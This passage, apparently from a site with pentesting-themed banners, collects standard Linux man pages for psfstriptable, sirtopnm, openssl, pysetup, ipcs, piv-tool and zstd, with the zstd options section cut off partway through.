➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psfstriptable and provides detailed information about the command psfstriptable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psfstriptable.

NAME 🖥️ psfstriptable 🖥️

remove the embedded Unicode character table from a console font

SYNOPSIS

psfstriptable fontfile outfile

DESCRIPTION

psfstriptable reads a .psf format console font from fontfile, removes the embedded Unicode font table if there is one, and writes the result to outfile. An input file name of “-” denotes standard input, and an output file name of “-” denotes standard output.

SEE ALSO

setfont(8), psfaddtable(1), psfgettable(1), psfxtable(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

885 - Linux cli command sirtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sirtopnm and provides detailed information about the command sirtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sirtopnm.

.

NAME 🖥️ sirtopnm 🖥️

convert a Solitaire file to PNM

SYNOPSIS

sirtopnm

[sirfile]

DESCRIPTION

This program is part of Netpbm(1) .

sirtopnm reads a Solitaire Image Recorder file as input and produces a PNM image as output. The type of the output file depends on the input file - if it’s an MGI TYPE 17 file, sirtopnm generates a PGM file. If it’s an MGI TYPE 11 file, sirtopnm generates PPM. The program tells you which type it is writing.

OPTIONS

There are no command line options defined specifically for sirtopnm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pnmtosir(1) , pnm(1)

AUTHOR

Copyright (C) 1991 by Marvin Landis.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sirtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

886 - Linux cli command pkeyutlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkeyutlssl and provides detailed information about the command pkeyutlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkeyutlssl.

NAME 🖥️ pkeyutlssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

887 - Linux cli command pysetup31

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pysetup31 and provides detailed information about the command pysetup31, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pysetup31.

NAME 🖥️ pysetup31 🖥️

pysetup tool

SYNOPSIS

pysetup [options] action [action_options]

DESCRIPTION

Actions:

run: Run one or several commands metadata: Display the metadata of a project install: Install a project remove: Remove a project search: Search for a project in the indexes list: List installed projects graph: Display a graph create: Create a project generate-setup: Generate a backward-compatible setup.py

To get more help on an action, use:

pysetup action –help

Global options:

–verbose (-v)
run verbosely (default)

–quiet (-q)
run quietly (turns verbosity off)

–dry-run (-n)
don’t actually do anything

–help (-h)
show detailed help message

–no-user-cfg
ignore pydistutils.cfg in your home directory

–version
Display the version

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

888 - Linux cli command ipcs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ipcs and provides detailed information about the command ipcs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ipcs.

NAME 🖥️ ipcs 🖥️

show information on IPC facilities

SYNOPSIS

ipcs [options]

DESCRIPTION

ipcs shows information on System V inter-process communication facilities. By default it shows information about all three resources: shared memory segments, message queues, and semaphore arrays.

OPTIONS

-i, –id id

Show full details on just the one resource element identified by id. This option needs to be combined with one of the three resource options: -m, -q or -s.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

Resource options

-m, –shmems

Write information about active shared memory segments.

-q, –queues

Write information about active message queues.

-s, –semaphores

Write information about active semaphore sets.

-a, –all

Write information about all three resources (default).

Output formats

Of these options only one takes effect: the last one specified.

-c, –creator

Show creator and owner.

-l, –limits

Show resource limits.

-p, –pid

Show PIDs of creator and last operator.

-t, –time

Write time information. The time of the last control operation that changed the access permissions for all facilities, the time of the last msgsnd(2) and msgrcv(2) operations on message queues, the time of the last shmat(2) and shmdt(2) operations on shared memory, and the time of the last semop(2) operation on semaphores.

-u, –summary

Show status summary.

Representation

These affect only the -l (–limits) option.

-b, –bytes

Print the sizes in bytes rather than in a human-readable format.

By default, the unit, sizes are expressed in, is byte, and unit prefixes are in power of 2^10 (1024). Abbreviations of symbols are exhibited truncated in order to reach a better readability, by exhibiting alone the first letter of them; examples: “1 KiB” and “1 MiB” are respectively exhibited as “1 K” and “1 M”, then omitting on purpose the mention “iB”, which is part of these abbreviations.

–human

Print sizes in human-readable format.

CONFORMING TO

The Linux ipcs utility is not fully compatible to the POSIX ipcs utility. The Linux version does not support the POSIX -a, -b and -o options, but does support the -l and -u options not defined by POSIX. A portable application shall not use the -a, -b, -o, -l, and -u options.

NOTES

The current implementation of ipcs obtains information about available IPC resources by parsing the files in /proc/sysvipc. Before util-linux version v2.23, an alternate mechanism was used: the IPC_STAT command of msgctl(2), semctl(2), and shmctl(2). This mechanism is also used in later util-linux versions in the case where /proc is unavailable. A limitation of the IPC_STAT mechanism is that it can only be used to retrieve information about IPC resources for which the user has read permission.

AUTHORS

SEE ALSO

ipcmk(1), ipcrm(1), msgrcv(2), msgsnd(2), semget(2), semop(2), shmat(2), shmdt(2), shmget(2), sysvipc(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The ipcs command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

889 - Linux cli command piv-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command piv-tool and provides detailed information about the command piv-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the piv-tool.

NAME 🖥️ piv-tool 🖥️

tool - smart card utility for HSPD-12 PIV cards

SYNOPSIS

piv-tool [OPTIONS]

The piv-tool utility can be used from the command line to perform miscellaneous smart card operations on a HSPD-12 PIV smart card as defined in NIST 800-73-3. It is intended for use with test cards only. It can be used to load objects, and generate key pairs, as well as send arbitrary APDU commands to a card after having authenticated to the card using the card key provided by the card vendor.

OPTIONS

–serial

Print the card serial number derived from the CHUID object, if any. Output is in hex byte format.

–name, -n

Print the name of the inserted card (driver)

–admin argument, -A argument

Authenticate to the card using a 2DES, 3DES or AES key. The argument of the form

{A|M}:ref:alg

is required, were A uses “EXTERNAL AUTHENTICATION” and M uses “MUTUAL AUTHENTICATION”. ref is normally 9B, and alg is 03 for 3DES, 01 for 2DES, 08 for AES-128, 0A for AES-192 or 0C for AES-256. The key is provided by the card vendor. The environment variable PIV_EXT_AUTH_KEY must point to either a binary file matching the length of the key or a text file containing the key in the format: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX

–genkey argument, -G argument

Generate a key pair on the card and output the public key. The argument of the form

ref:alg

is required, where ref is 9A, 9C, 9D or 9E and alg is 06, 07, 11 or 14 for RSA 1024, RSA 2048, ECC 256 or ECC 384 respectively.

–object ContainerID, -O ContainerID

Load an object onto the card. The ContainerID is as defined in NIST 800-73-n without leading 0x. Example: CHUID object is 3000

–cert ref, -C ref

Load a certificate onto the card. ref is 9A, 9C, 9D or 9E

–compresscert ref, -Z ref

Load a certificate that has been gzipped onto the card. ref is 9A, 9C, 9D or 9E

–out file, -o file

Output file for any operation that produces output.

–in file, -i file

Input file for any operation that requires an input file.

–key-slots-discovery file

Print properties of the key slots. Needs admin authentication.

–send-apdu apdu, -s apdu

Sends an arbitrary APDU to the card in the format AA:BB:CC:DD:EE:FF…. This option may be repeated.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–wait, -w

Wait for a card to be inserted

–verbose, -v

Causes piv-tool to be more verbose. Specify this flag several times to enable debug output in the opensc library.

SEE ALSO

opensc-tool(1)

AUTHORS

piv-tool was written by Douglas E. Engert <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

890 - Linux cli command zstdcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zstdcat and provides detailed information about the command zstdcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zstdcat.

NAME 🖥️ zstdcat 🖥️

zstd, zstdmt, unzstd, zstdcat - Compress or decompress .zst files

SYNOPSIS

zstd [OPTIONS] [-|INPUT-FILE] [-o OUTPUT-FILE]

zstdmt is equivalent to zstd -T0

unzstd is equivalent to zstd -d

zstdcat is equivalent to zstd -dcf

DESCRIPTION

zstd is a fast lossless compression algorithm and data compression tool, with command line syntax similar to gzip(1) and xz(1). It is based on the LZ77 family, with further FSE & huff0 entropy stages. zstd offers highly configurable compression speed, from fast modes at > 200 MB/s per core, to strong modes with excellent compression ratios. It also features a very fast decoder, with speeds > 500 MB/s per core, which remains roughly stable at all compression settings.

zstd command line syntax is generally similar to gzip, but features the following few differences:

  • Source files are preserved by default. It’s possible to remove them automatically by using the –rm command.

  • When compressing a single file, zstd displays progress notifications and result summary by default. Use -q to turn them off.

  • zstd displays a short help page when command line is an error. Use -q to turn it off.

  • zstd does not accept input from console, though it does accept stdin when it’s not the console.

  • zstd does not store the input’s filename or attributes, only its contents.

zstd processes each file according to the selected operation mode. If no files are given or file is -, zstd reads from standard input and writes the processed data to standard output. zstd will refuse to write compressed data to standard output if it is a terminal: it will display an error message and skip the file. Similarly, zstd will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout or -o is specified, files are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix .zst is appended to the source filename to get the target filename.

  • When decompressing, the .zst suffix is removed from the source filename to get the target filename

Concatenation with .zst Files

It is possible to concatenate multiple .zst files. zstd will decompress such agglomerated file as if it was a single .zst file.

OPTIONS

Integer Suffixes and Special Values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, M, and MB are accepted as synonyms for MiB.

Operation Mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unzstd implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout > /dev/null, decompressed data is discarded and checksummed for errors. No files are created or removed.

-b#
Benchmark file(s) using compression level #. See BENCHMARK below for a description of this operation.

–train FILES
Use FILES as a training set to create a dictionary. The training set should contain a lot of small files (> 100). See DICTIONARY BUILDER below for a description of this operation.

-l, –list
Display information related to a zstd compressed file, such as size, ratio, and checksum. Some of these fields may not be available. This command’s output can be augmented with the -v modifier.

Operation Modifiers

  • -#: selects # compression level [1-19] (default: 3). Higher compression levels generally produce higher compression ratio at the expense of speed and memory. A rough rule of thumb is that compression speed is expected to be divided by 2 every 2 levels. Technically, each level is mapped to a set of advanced parameters (that can also be modified individually, see below). Because the compressor’s behavior highly depends on the content to compress, there’s no guarantee of a smooth progression from one level to another.

  • –ultra: unlocks high compression levels 20+ (maximum 22), using a lot more memory. Note that decompression will also require more memory when using these levels.

  • –fast[=#]: switch to ultra-fast compression levels. If =# is not present, it defaults to 1. The higher the value, the faster the compression speed, at the cost of some compression ratio. This setting overwrites compression level if one was set previously. Similarly, if a compression level is set after –fast, it overrides it.

  • -T#, –threads=#: Compress using # working threads (default: 1). If # is 0, attempt to detect and use the number of physical CPU cores. In all cases, the nb of threads is capped to ZSTDMT_NBWORKERS_MAX, which is either 64 in 32-bit mode, or 256 for 64-bit environments. This modifier does nothing if zstd is compiled without multithread support.

  • –single-thread: Use a single thread for both I/O and compression. As compression is serialized with I/O, this can be slightly slower. Single-thread mode features significantly lower memory usage, which can be useful for systems with limited amount of memory, such as 32-bit systems.

    Note 1: this mode is the only available one when multithread support is disabled.

    Note 2: this mode is different from -T1, which spawns 1 compression thread in parallel with I/O. Final compressed result is also slightly different from -T1.

  • –auto-threads={physical,logical} (default: physical): When using a default amount of threads via -T0, choose the default based on the number of detected physical or logical cores.

  • –adapt[=min=#,max=#]: zstd will dynamically adapt compression level to perceived I/O conditions. Compression level adaptation can be observed live by using command -v. Adaptation can be constrained between supplied min and max levels. The feature works when combined with multi-threading and –long mode. It does not work with –single-thread. It sets window size to 8 MiB by default (can be changed manually, see wlog). Due to the chaotic nature of dynamic adaptation, compressed result is not reproducible.

    Note: at the time of this writing, –adapt can remain stuck at low speed when combined with multiple worker threads (>=2).

  • –long[=#]: enables long distance matching with # windowLog, if # is not present it defaults to 27. This increases the window size (windowLog) and memory usage for both the compressor and decompressor. This setting is designed to improve the compression ratio for files with long matches at a large distance.

    Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

  • -D DICT: use DICT as Dictionary to compress or decompress FILE(s)

  • –patch-from FILE: Specify the file to be used as a reference point for zstd’s diff engine. This is effectively dictionary compression with some convenient parameter selection, namely that windowSize > srcSize.

    Note: cannot use both this and -D together.

    Note: –long mode will be automatically activated if chainLog < fileLog (fileLog being the windowLog required to cover the whole file). You can also manually force it.

    Note: for all levels, you can use –patch-from in –single-thread mode to improve compression ratio at the cost of speed.

    Note: for level 19, you can get increased compression ratio at the cost of speed by specifying –zstd=targetLength= to be something large (i.e. 4096), and by setting a large –zstd=chainLog=.

  • –rsyncable: zstd will periodically synchronize the compression state to make the compressed file more rsync-friendly. There is a negligible impact to compression ratio, and a potential impact to compression speed, perceptible at higher speeds, for example when combining –rsyncable with many parallel worker threads. This feature does not work with –single-thread. You probably don’t want to use it with long range mode, since it will decrease the effectiveness of the synchronization points, but your mileage may vary.

  • -C, –[no-]check: add integrity check computed from uncompressed data (default: enabled)

  • –[no-]content-size: enable / disable whether or not the original size of the file is placed in the header of the compressed file. The default option is –content-size (meaning that the original size will be placed in the header).

  • –no-dictID: do not store dictionary ID within frame header (dictionary compression). The decoder will have to rely on implicit knowledge about which dictionary to use, it won’t be able to check if it’s correct.

  • -M#, –memory=#: Set a memory usage limit. By default, zstd uses 128 MiB for decompression as the maximum amount of memory the decompressor is allowed to use, but you can override this manually if need be in either direction (i.e. you can increase or decrease it).

    This is also used during compression when using with –patch-from=. In this case, this parameter overrides that maximum size allowed for a dictionary. (128 MiB).

    Additionally, this can be used to limit memory for dictionary training. This parameter overrides the default limit of 2 GiB. zstd will load training samples up to the memory limit and ignore the rest.

  • –stream-size=#: Sets the pledged source size of input coming from a stream. This value must be exact, as it will be included in the produced frame header. Incorrect stream sizes will cause an error. This information will be used to better optimize compression parameters, resulting in better and potentially faster compression, especially for smaller source sizes.

  • –size-hint=#: When handling input from a stream, zstd must guess how large the source size will be when optimizing compression parameters. If the stream size is relatively small, this guess may be a poor one, resulting in a higher compression ratio than expected. This feature allows for controlling the guess when needed. Exact guesses result in better compression ratios. Overestimates result in slightly degraded compression ratios, while underestimates may result in significant degradation.

  • –target-compressed-block-size=#: Attempt to produce compressed blocks of approximately this size. This will split larger blocks in order to approach this target. This feature is notably useful for improved latency, when the receiver can leverage receiving early incomplete data. This parameter defines a loose target: compressed blocks will target this size “on average”, but individual blocks can still be larger or smaller. Enabling this feature can decrease compression speed by up to ~10% at level 1. Higher levels will see smaller relative speed regression, becoming invisible at higher settings.

  • -f, –force: disable input and output checks. Allows overwriting existing files, input from console, output to stdout, operating on links, block devices, etc. During decompression and when the output destination is stdout, pass-through unrecognized formats as-is.

  • -c, –stdout: write to standard output (even if it is the console); keep original files (disable –rm).

  • -o FILE: save result into FILE. Note that this operation is in conflict with -c. If both operations are present on the command line, the last expressed one wins.

  • –[no-]sparse: enable / disable sparse FS support, to make files with many zeroes smaller on disk. Creating sparse files may save disk space and speed up decompression by reducing the amount of disk I/O. default: enabled when output is into a file, and disabled when output is stdout. This setting overrides default and can force sparse mode over stdout.

  • –[no-]pass-through enable / disable passing through uncompressed files as-is. During decompression when pass-through is enabled, unrecognized formats will be copied as-is from the input to the output. By default, pass-through will occur when the output destination is stdout and the force (-f) option is set.

  • –rm: remove source file(s) after successful compression or decompression. This command is silently ignored if output is stdout. If used in combination with -o, triggers a confirmation prompt (which can be silenced with -f), as this is a destructive operation.

  • -k, –keep: keep source file(s) after successful compression or decompression. This is the default behavior.

  • -r: operate recursively on directories. It selects all files in the named directory and all its subdirectories. This can be useful both to reduce command line typing, and to circumvent shell expansion limitations, when there are a lot of files and naming breaks the maximum size of a command line.

  • –filelist FILE read a list of files to process as content from FILE. Format is compatible with ls output, with one file per line.

  • –output-dir-flat DIR: resulting files are stored into target DIR directory, instead of same directory as origin file. Be aware that this command can introduce name collision issues, if multiple files, from different directories, end up having the same name. Collision resolution ensures first file with a given name will be present in DIR, while in combination with -f, the last file will be present instead.

  • –output-dir-mirror DIR: similar to –output-dir-flat, the output files are stored underneath target DIR directory, but this option will replicate input directory hierarchy into output DIR.

    If input directory contains “..”, the files in this directory will be ignored. If input directory is an absolute directory (i.e. “/var/tmp/abc”), it will be stored into the “output-dir/var/tmp/abc”. If there are multiple input files or directories, name collision resolution will follow the same rules as –output-dir-flat.

  • –format=FORMAT: compress and decompress in other formats. If compiled with support, zstd can compress to or decompress from other compression algorithm formats. Possibly available options are zstd, gzip, xz, lzma, and lz4. If no such format is provided, zstd is the default.

  • -h/-H, –help: display help/long help and exit

  • -V, –version: display version number and immediately exit. note that, since it exits, flags specified after -V are effectively ignored. Advanced: -vV also displays supported formats. -vvV also displays POSIX support. -qV will only display the version number, suitable for machine reading.

  • -v, –verbose: verbose mode, display more information

  • -q, –quiet: suppress warnings, interactivity, and notifications. specify twice to suppress errors too.

  • –no-progress: do not display the progress bar, but keep all other messages.

  • –show-default-cparams: shows the default compression parameters that will be used for a particular input file, based on the provided compression level and the input size. If the provided file is not a regular file (e.g. a pipe), this flag will output the parameters used for inputs of unknown size.

  • –exclude-compressed: only compress files that are not already compressed.

  • : All arguments after are treated as files

gzip Operation Modifiers

When invoked via a gzip symlink, zstd will support further options that intend to mimic the gzip behavior:

-n, –no-name
do not store the original filename and timestamps when compressing a file. This is the default behavior and hence a no-op.

–best
alias to the option -9.

Environment Variables

Employing environment variables to set parameters has security implications. Therefore, this avenue is intentionally limited. Only ZSTD_CLEVEL and ZSTD_NBTHREADS are currently supported. They set the default compression level and number of threads to use during compression, respectively.

ZSTD_CLEVEL can be used to set the level between 1 and 19 (the “normal” range). If the value of ZSTD_CLEVEL is not a valid integer, it will be ignored with a warning message. ZSTD_CLEVEL just replaces the default compression level (3).

ZSTD_NBTHREADS can be used to set the number of threads zstd will attempt to use during compression. If the value of ZSTD_NBTHREADS is not a valid unsigned integer, it will be ignored with a warning message. ZSTD_NBTHREADS has a default value of (1), and is capped at ZSTDMT_NBWORKERS_MAX==200. zstd must be compiled with multithread support for this variable to have any effect.

They can both be overridden by corresponding command line arguments: -# for compression level and -T# for number of compression threads.

ADVANCED COMPRESSION OPTIONS

zstd provides 22 predefined regular compression levels plus the fast levels. A compression level is translated internally into multiple advanced parameters that control the behavior of the compressor (one can observe the result of this translation with –show-default-cparams). These advanced parameters can be overridden using advanced compression options.

–zstd[=options]:

The options are provided as a comma-separated list. You may specify only the options you want to change and the rest will be taken from the selected or default compression level. The list of available options:

strategy=strat, strat=strat
Specify a strategy used by a match finder.

There are 9 strategies numbered from 1 to 9, from fastest to strongest: 1=ZSTD_fast, 2=ZSTD_dfast, 3=ZSTD_greedy, 4=ZSTD_lazy, 5=ZSTD_lazy2, 6=ZSTD_btlazy2, 7=ZSTD_btopt, 8=ZSTD_btultra, 9=ZSTD_btultra2.

windowLog=wlog, wlog=wlog
Specify the maximum number of bits for a match distance.

The higher number of increases the chance to find a match which usually improves compression ratio. It also increases memory requirements for the compressor and decompressor. The minimum wlog is 10 (1 KiB) and the maximum is 30 (1 GiB) on 32-bit platforms and 31 (2 GiB) on 64-bit platforms.

Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

hashLog=hlog, hlog=hlog
Specify the maximum number of bits for a hash table.

Bigger hash tables cause fewer collisions which usually makes compression faster, but requires more memory during compression.

The minimum hlog is 6 (64 entries / 256 B) and the maximum is 30 (1B entries / 4 GiB).

chainLog=clog, clog=clog
Specify the maximum number of bits for the secondary search structure, whose form depends on the selected strategy.

Higher numbers of bits increases the chance to find a match which usually improves compression ratio. It also slows down compression speed and increases memory requirements for compression. This option is ignored for the ZSTD_fast strategy, which only has the primary hash table.

The minimum clog is 6 (64 entries / 256 B) and the maximum is 29 (512M entries / 2 GiB) on 32-bit platforms and 30 (1B entries / 4 GiB) on 64-bit platforms.

searchLog=slog, slog=slog
Specify the maximum number of searches in a hash chain or a binary tree using logarithmic scale.

More searches increases the chance to find a match which usually increases compression ratio but decreases compression speed.

The minimum slog is 1 and the maximum is ‘windowLog’ - 1.

minMatch=mml, mml=mml
Specify the minimum searched length of a match in a hash table.

Larger search lengths usually decrease compression ratio but improve decompression speed.

The minimum mml is 3 and the maximum is 7.

targetLength=tlen, tlen=tlen
The impact of this field vary depending on selected strategy.

For ZSTD_btopt, ZSTD_btultra and ZSTD_btultra2, it specifies the minimum match length that causes match finder to stop searching. A larger targetLength usually improves compression ratio but decreases compression speed.

For ZSTD_fast, it triggers ultra-fast mode when > 0. The value represents the amount of data skipped between match sampling. Impact is reversed: a larger targetLength increases compression speed but decreases compression ratio.

